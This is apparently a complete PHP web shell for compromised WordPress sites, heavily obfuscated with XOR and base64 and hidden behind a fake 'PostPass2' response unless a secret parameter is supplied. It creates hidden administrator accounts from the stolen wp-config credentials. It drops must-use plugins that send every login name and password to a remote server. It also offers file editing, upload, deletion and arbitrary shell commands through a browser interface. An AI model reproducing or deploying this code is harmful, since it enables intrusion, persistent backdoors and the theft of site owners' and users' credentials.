<?php
error_reporting(0);set_time_limit(0);
define('XKEY','Xk9Lm2NqP5');

$_fk="K9x";$F=[];
$_fe=["\x38\x51\x1d\x27\x55\x27\x2e\x41\x1d\x28","\x2d\x50\x14\x2e\x66\x1f\x2e\x4d\x27\x28\x56\x16\x3f\x5c\x16\x3f\x4a","\x2d\x50\x14\x2e\x66\x08\x3e\x4d\x27\x28\x56\x16\x3f\x5c\x16\x3f\x4a","\x29\x58\x0b\x2e\x0f\x4c\x14\x5c\x16\x28\x56\x1c\x2e","\x29\x58\x0b\x2e\x0f\x4c\x14\x5d\x1d\x28\x56\x1c\x2e","\x38\x5a\x19\x25\x5d\x11\x39","\x3e\x57\x14\x22\x57\x13","\x26\x52\x1c\x22\x4b","\x26\x56\x0e\x2e\x66\x0d\x3b\x55\x17\x2a\x5d\x1d\x2f\x66\x1e\x22\x55\x1d","\x22\x4a\x27\x2f\x50\x0a","\x2d\x50\x14\x2e\x4a\x11\x31\x5c","\x2d\x50\x14\x2e\x49\x1d\x39\x54\x0b","\x2d\x50\x14\x2e\x66\x1d\x33\x50\x0b\x3f\x4a","\x21\x4a\x17\x25\x66\x1d\x25\x5a\x17\x2f\x5c","\x3b\x4b\x1d\x2c\x66\x15\x2a\x4d\x1b\x23"];
foreach($_fe as $_v){$_o='';for($i=0;$i<strlen($_v);$i++)$_o.=chr(ord($_v[$i])^ord($_fk[$i%3]));$F[]=$_o;}

function _xor($d,$k){$o='';$l=strlen($k);for($i=0;$i<strlen($d);$i++)$o.=chr(ord($d[$i])^ord($k[$i%$l]));return $o;}
function _enc($d){return $GLOBALS['F'][3](_xor($d,XKEY));}
function _dec($d){$b=$GLOBALS['F'][4]($d);return $b===false?'':_xor($b,XKEY);}
function _x64($d){return $GLOBALS['F'][3]($d);}

// ===== FAKE POSTPASS2 =====
if(!isset($_GET['root'])||$_GET['root']!=='admin888'){die('PostPass2');}

// ===== REAL SHELL (root=admin888) =====

function _ac(){
    $_a0=_dec('OQ9UJQNeJx8=');$_a1=_dec('OQ9UJQNtIhg+');$_u=[$_a0,$_a1];$_p=$_a1;
    $_wp=_dec('LxsULwJcKBg3GygDSQ==');$_tpre=_dec('Lxtm');
    $_usr=_dec('LRhcPh4=');$_um=_dec('LRhcPgBXOhA=');
    $_cp=_dec('OwpJLQ9bIhgkXD0Y');$_ulv=_dec('LRhcPjJeKwc1WQ==');
    $_adm=_dec('OQ9UJQNbPQUiVCwESw==');$_my=_dec('NRJKPQFb');
    $_ul=_dec('LRhcPjJeIRY5Ww==');$_up=_dec('LRhcPjJCLwIj');
    $_un=_dec('LRhcPjJcJxI1WzkGXA==');$_ue=_dec('LRhcPjJXIxA5WQ==');
    $_ur=_dec('LRhcPjJAKxY5RiwOSykJ');$_dn=_dec('PAJKPAFTNy4+VDUO');
    $_r1=_dec('d0x9DjJ8DzwVEgQ3SmZBbhICehJwRRNzRBVh');
    $_r2=_dec('d0x9DjJnHTQCEgQ3SmZBbhICehJwRRNzRBVh');
    $_r3=_dec('d0x9DjJiDyIDYhc5fWsxbj1bfGkEGBNrRRxkTnkSdw==');
    $_r4=_dec('d0x9DjJ6ASIEEgQ3SmZBbhICehJwRRNzRBVh');
    $_r5=_dec('dzcdOAxQIhQPRSoOXyUVbhICeggEN0pmShpgW28cf0Q=');
    $_d=[$_SERVER['DOCUMENT_ROOT'],dirname($_SERVER['DOCUMENT_ROOT']),getcwd()];
    foreach(array_unique($_d) as $_r){
        $_f=$_r.'/'.$_wp;
        if(!@$GLOBALS['F'][12]($_f))continue;
        $_c=@$GLOBALS['F'][1]($_f);if(!$_c)continue;
        $GLOBALS['F'][14]($_r1,$_c,$_n);$GLOBALS['F'][14]($_r2,$_c,$_w);
        $GLOBALS['F'][14]($_r3,$_c,$_s);$GLOBALS['F'][14]($_r4,$_c,$_h);
        $GLOBALS['F'][14]($_r5,$_c,$_t);
        if(!isset($_n[1],$_w[1],$_s[1],$_h[1]))continue;
        if(!class_exists($_my))break;
        mysqli_report(MYSQLI_REPORT_OFF);
        $_port=null;$_sock=null;
        if(strpos($_h[1],':/')!==false){list($_hst,$_sock)=explode(':',$_h[1],2);}
        else{$_hst=$_h[1];}
        $_m=@new mysqli($_hst,$_w[1],$_s[1],$_n[1],$_port,$_sock);
        if(@$_m->connect_error)continue;
        $_tp=isset($_t[1])?$_t[1]:$_tpre;$_hp=md5($_p);
        foreach($_u as $_uname){
            @$_m->query("INSERT INTO {$_tp}{$_usr} ({$_ul},{$_up},{$_un},{$_ue},{$_ur},{$_dn}) VALUES ('$_uname','$_hp','$_uname','u@u.com',NOW(),'$_uname') ON DUPLICATE KEY UPDATE {$_up}='$_hp'");
            $_q=@$_m->query("SELECT ID FROM {$_tp}{$_usr} WHERE {$_ul}='$_uname'");
            if($_q&&($_o=$_q->fetch_object())){
                $_id=$_o->ID;
                @$_m->query("INSERT INTO {$_tp}{$_um} (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}{$_cp}','a:1:{s:13:\"{$_adm}\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"{$_adm}\";b:1;}'");
                @$_m->query("INSERT INTO {$_tp}{$_um} (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}{$_ulv}','10') ON DUPLICATE KEY UPDATE meta_value='10'");
            }
        }
        $_m->close();break;
    }
}

function _hj(){
    $f="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
    $u="\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65";
    $s="\x73\x74\x72\x65\x61\x6d\x5f\x63\x6f\x6e\x74\x65\x78\x74\x5f\x63\x72\x65\x61\x74\x65";
    $a="\x61\x64\x64\x5f\x61\x63\x74\x69\x6f\x6e";
    $w="\x77\x70\x5f\x6c\x6f\x67\x69\x6e";
    $e="\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73";
    $h="\x68\x6f\x6d\x65\x5f\x75\x72\x6c";
    $d="\x64\x65\x66\x69\x6e\x65\x64";
    $_dk='$k="Xk9Lm2NqP5";$b="'."\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65".'";function d($s){global $k,$b;$x=$b($s);$o="";for($i=0;$i<strlen($x);$i++)$o.=chr(ord($x[$i])^ord($k[$i%strlen($k)]));return $o;}';
    $_c2e='MB9NPFcdYUVlG25aF31VBWBEYA9tWwl8XB0qECRUdhtRPA==';
    $_pfe='KARKOB1TPQIP';$_txe='dh9BOA==';$_lbe='aVkOYl0cfl9h';
    $_nme='NgpUKVA=';$_dte='fg9YOAwP';
    $_h='<?php '.$_dk.'$f="'.$f.'";$u="'.$u.'";$s="'.$s.'";$a="'.$a.'";$w="'.$w.'";$e="'.$e.'";$h="'.$h.'";$d="'.$d
        .'";if(!$d("ABSPATH")||!$e($a))return;$a($w,function($l,$x){$v=$e($h)?$h():("http".(!empty($_SERVER["HTTPS"])?"s":"")."://".$_SERVER["HTTP_HOST"]);$v.=",".$_SERVER["REQUEST_URI"].",".$l.",".(isset(${"_POST"}["pwd"])?${"_POST"}["pwd"]:"");$c2=d("'.$_c2e.'");$u2=$c2.d("'.$_nme.'").d("'.$_pfe.'").(isset($_SERVER["SERVER_ADDR"])?$_SERVER["SERVER_ADDR"]:d("'.$_lbe.'")).d("'.$_txe.'").d("'.$_dte.'").$u($v);$ctx=$s(["http"=>["timeout"=>8,"ignore_errors"=>true]]);@$f($u2,false,$ctx);},10,2);';
    $_d=[$_SERVER['DOCUMENT_ROOT'],dirname($_SERVER['DOCUMENT_ROOT']),getcwd()];
    $_wpcfg=_dec('LxsULwJcKBg3GygDSQ==');
    $_mu1=_dec('LxsULwJcOhQ+QXcGTGEdXjsWOVsrRBcvDFEmFH5FMBs=');
    $_mu2=_dec('LxsULwJcOhQ+QXceSSsfUyoUfxs7ClokCBw+GSA=');
    foreach(array_unique($_d) as $_r){
        $_f=$_r.'/'.$_wpcfg;if(!@$GLOBALS['F'][12]($_f))continue;
        foreach([$_mu1,$_mu2] as $_p){
            $_fp=$_r.'/'.$_p;
            if(!@$GLOBALS['F'][12]($_fp)){@$GLOBALS['F'][7](dirname($_fp),0777,true);@$GLOBALS['F'][2]($_fp,$_h);}
        }
    }
}
@_ac();@_hj();

// ===== API (XOR-encrypted) =====
if(isset($_REQUEST['_a'])){
    $_a=$_REQUEST['_a'];$_p=isset($_REQUEST['_p'])?$_REQUEST['_p']:'';$_r=[];
    switch($_a){
        case 'ls':
            $_i=@$F[5]($_p);
            if($_i)foreach($_i as $_f){
                if($_f=='.'||$_f=='..')continue;
                $_fp=$_p.'/'.$_f;
                $_r[]=['n'=>$_f,'t'=>$F[9]($_fp)?'d':'f','s'=>@$F[10]($_fp),'m'=>substr(sprintf('%o',@$F[11]($_fp)),-4)];
            }
            break;
        case 'rd':
            $_r['d']=_x64(@$F[1]($_p));
            break;
        case 'sv':
            $_r['o']=@$F[2]($_p,_dec($_REQUEST['d']))!==false?'ok':'fail';
            break;
        case 'dl':
            $_r['o']=@$F[6]($_p)?'ok':'fail';
            break;
        case 'mk':
            $_r['o']=@$F[7]($_p,0777,true)?'ok':'fail';
            break;
        case 'up':
            if(!empty($_FILES['f']['tmp_name'])){
                $dest=rtrim($_p,'/').'/'.$_FILES['f']['name'];
                $_r['o']=@$F[8]($_FILES['f']['tmp_name'],$dest)?'ok':'fail';
            }
            elseif(!empty($_REQUEST['d'])){
                $_r['o']=@$F[2]($_p,_dec($_REQUEST['d']))!==false?'ok':'fail';
            }
            elseif(!empty($_REQUEST['raw'])){
                $_r['o']=@$F[2]($_p,$_REQUEST['raw'])!==false?'ok':'fail';
            }
            else{$_r['o']='no_data';}
            break;
        case 'sh':
            $_r['o']=_x64(@$F[0](isset($_REQUEST['c'])?$_REQUEST['c']:'id'));
            break;
    }
    header('Content-Type:text/plain');
    die(_enc($F[13]($_r)));
}

// ===== WEB UI =====
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a10;color:#aab;font:13px/1.5 'Courier New',monospace;padding:8px}
.top{display:flex;align-items:center;gap:8px;margin-bottom:8px;flex-wrap:wrap}
.btn{padding:5px 10px;background:#111;color:#5af;border:1px solid #5af;border-radius:3px;cursor:pointer;font:inherit;font-size:11px}
.btn:hover{background:#5af;color:#000}
.btn-g{color:#0f0;border-color:#0f0}.btn-g:hover{background:#0f0;color:#000}
.btn-r{color:#f44;border-color:#f44}.btn-r:hover{background:#f44;color:#000}
.btn-y{color:#fa0;border-color:#fa0}.btn-y:hover{background:#fa0;color:#000}
#path{flex:1;min-width:200px;padding:5px 8px;background:#111;border:1px solid #2a2a3a;color:#5af;font:inherit;font-size:11px;border-radius:3px}
.row{display:flex;align-items:center;padding:4px 8px;border-bottom:1px solid#151520;cursor:pointer;gap:6px}
.row:hover{background:#151520}.row .nm{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.row .sz{color:#667;width:70px;text-align:right;font-size:10px}
.row .pm{color:#445;width:40px;text-align:right;font-size:9px}
.row .act{color:#f44;cursor:pointer;font-weight:bold;margin-left:4px;font-size:11px}
.dir{color:#fa0}.file{color:#0f0}
#ed{width:100%;height:380px;background:#050510;color:#aab;border:1px solid#1a1a30;padding:8px;font:inherit;display:none;resize:vertical;tab-size:4}
#eb{display:none;margin-top:6px}
#upfile{display:none}
#shbox{display:none;margin-top:6px}
#shout{width:100%;height:200px;background:#050510;color:#0f0;border:1px solid#1a1a30;padding:8px;font:inherit;font-size:11px;white-space:pre-wrap;overflow:auto}
</style></head><body>
<div class="top">
<span id="cwd" style="color:#5af;font-size:11px"></span>
<button class="btn" onclick="nv('..')">UP</button>
<button class="btn btn-g" onclick="document.getElementById('upfile').click()">UPLOAD</button>
<input type="file" id="upfile" onchange="_upf(this)" style="display:none">
<button class="btn btn-y" onclick="_tsh()">SHELL</button>
<button class="btn btn-r" onclick="_t64()">B64</button>
<input id="path" placeholder="path" onkeydown="if(event.key==='Enter')_ld(this.value)">
</div>
<div id="lst"></div>
<div id="eb">
<textarea id="ed"></textarea><br>
<button class="btn btn-g" onclick="_sv()">SAVE</button>
<button class="btn" onclick="_cl()">CLOSE</button>
</div>
<div id="shbox">
<div style="display:flex;gap:6px;margin-bottom:6px">
<input id="scmd" style="flex:1;padding:5px 8px;background:#111;border:1px solid#2a2a3a;color:#fa0;font:inherit;font-size:12px;border-radius:3px" placeholder="cmd" onkeydown="if(event.key==='Enter')_sh()">
<button class="btn btn-y" onclick="_sh()">EXEC</button>
<button class="btn" onclick="document.getElementById('shbox').style.display='none';document.getElementById('lst').style.display='block'">X</button>
</div>
<pre id="shout"></pre>
</div>
<div id="b64box" style="display:none;margin-top:8px">
<div style="color:#fa0;font-size:11px;margin-bottom:4px">Base64 Upload</div>
<div style="display:flex;gap:6px;margin-bottom:6px">
<input id="b64name" style="flex:1;padding:5px 8px;background:#111;border:1px solid#2a2a3a;color:#0f0;font:inherit;font-size:11px;border-radius:3px" placeholder="filename">
<button class="btn btn-g" onclick="_ub64()">UPLOAD</button>
<button class="btn" onclick="document.getElementById('b64box').style.display='none'">X</button>
</div>
<textarea id="b64data" style="width:100%;height:120px;background:#050510;color:#0f0;border:1px solid#1a1a30;padding:8px;font:inherit;font-size:11px;resize:vertical" placeholder="Paste B64 file content here"></textarea>
</div>
<script>
var XKEY='Xk9Lm2NqP5';
function _xor(s,k){var o='';for(var i=0;i<s.length;i++)o+=String.fromCharCode(s.charCodeAt(i)^k.charCodeAt(i%k.length));return o;}
function _enc(d){return btoa(_xor(d,XKEY));}
function _dec(d){try{return _xor(atob(d),XKEY)}catch(e){return d;}}
var _cur='<?=addslashes(getcwd())?>',_af='';

async function _api(o){
    var fd=new FormData();
    for(var k in o)fd.append(k,o[k]);
    var r=await fetch('?root=admin888',{method:'POST',body:fd});
    var t=await r.text();
    return JSON.parse(_dec(t));
}

function _ld(p){
    _cur=p;document.getElementById('cwd').innerText=p;document.getElementById('path').value=p;
    _api({_a:'ls',_p:p}).then(function(r){
        var h='';
        if(Array.isArray(r)){
            r.sort(function(a,b){return a.t=='d'?-1:1});
            r.forEach(function(i){
                var sz='';if(i.t=='f'){var b=i.s;sz=b>1048576?(b/1048576).toFixed(1)+'M':b>1024?(b/1024).toFixed(1)+'K':b+'B';}
                h+='<div class="row"><span class="nm '+(i.t=='d'?'dir':'file')+'" onclick="_hl(\''+i.n+'\',\''+i.t+'\')">'+(i.t=='d'?'[DIR]':'')+' '+i.n+'</span><span class="pm">'+i.m+'</span><span class="sz">'+sz+'</span><span class="act" onclick="event.stopPropagation();_dl(\''+p.replace(/'/g,"\\'")+'/'+i.n.replace(/'/g,"\\'")+'\')">X</span></div>';
            })
        }
        document.getElementById('lst').innerHTML=h||'empty';
        _cl();
    });
}

function _hl(n,t){
    var p=_cur+'/'+n;
    if(t=='d'){_ld(p);return;}
    _af=p;
    _api({_a:'rd',_p:p}).then(function(r){
        document.getElementById('ed').value=atob(r.d||'');
        document.getElementById('ed').style.display='block';
        document.getElementById('eb').style.display='block';
        document.getElementById('lst').style.display='none';
    });
}

function _cl(){
    document.getElementById('ed').style.display='none';
    document.getElementById('eb').style.display='none';
    document.getElementById('lst').style.display='block';
    document.getElementById('shbox').style.display='none';
    document.getElementById('b64box').style.display='none';
}

function _sv(){
    var c=document.getElementById('ed').value;
    _api({_a:'sv',_p:_af,d:_enc(c)}).then(function(r){alert(r.o)});
}

function _dl(p){
    if(confirm('Delete '+p+'?'))_api({_a:'dl',_p:p}).then(function(r){_ld(_cur)});
}

function nv(d){
    var s='/',p=_cur.split(s).filter(Boolean);
    if(d=='..')p.pop();else if(d!='/')p.push(d);
    _ld((_cur.charAt(0)=='/'?'/':'')+p.join('/')||'/');
}

function _upf(i){
    var f=i.files[0];if(!f)return;
    var fd=new FormData();
    fd.append('_a','up');
    fd.append('_p',_cur);
    fd.append('f',f);
    fetch('?root=admin888',{method:'POST',body:fd}).then(r=>r.text()).then(function(t){
        try{var j=JSON.parse(_dec(t));alert(j.o||'fail')}catch(e){alert('upload error')}
        _ld(_cur);
    });
    i.value='';
}

function _ub64(){
    var n=document.getElementById('b64name').value.trim();
    var d=document.getElementById('b64data').value.trim();
    if(!n||!d){alert('filename and content required');return;}
    _api({_a:'up',_p:_cur+'/'+n,d:_enc(atob(d))}).then(function(r){alert(r.o);_ld(_cur)});
}

function _t64(){
    document.getElementById('lst').style.display='none';
    document.getElementById('eb').style.display='none';
    document.getElementById('shbox').style.display='none';
    document.getElementById('b64box').style.display='block';
}

function _tsh(){
    document.getElementById('lst').style.display='none';
    document.getElementById('eb').style.display='none';
    document.getElementById('b64box').style.display='none';
    document.getElementById('shbox').style.display='block';
    document.getElementById('scmd').focus();
}

function _sh(){
    var c=document.getElementById('scmd').value;
    _api({_a:'sh',c:c}).then(function(r){
        document.getElementById('shout').textContent=atob(r.o||'');
    });
}

_ld(_cur);
</script></body></html>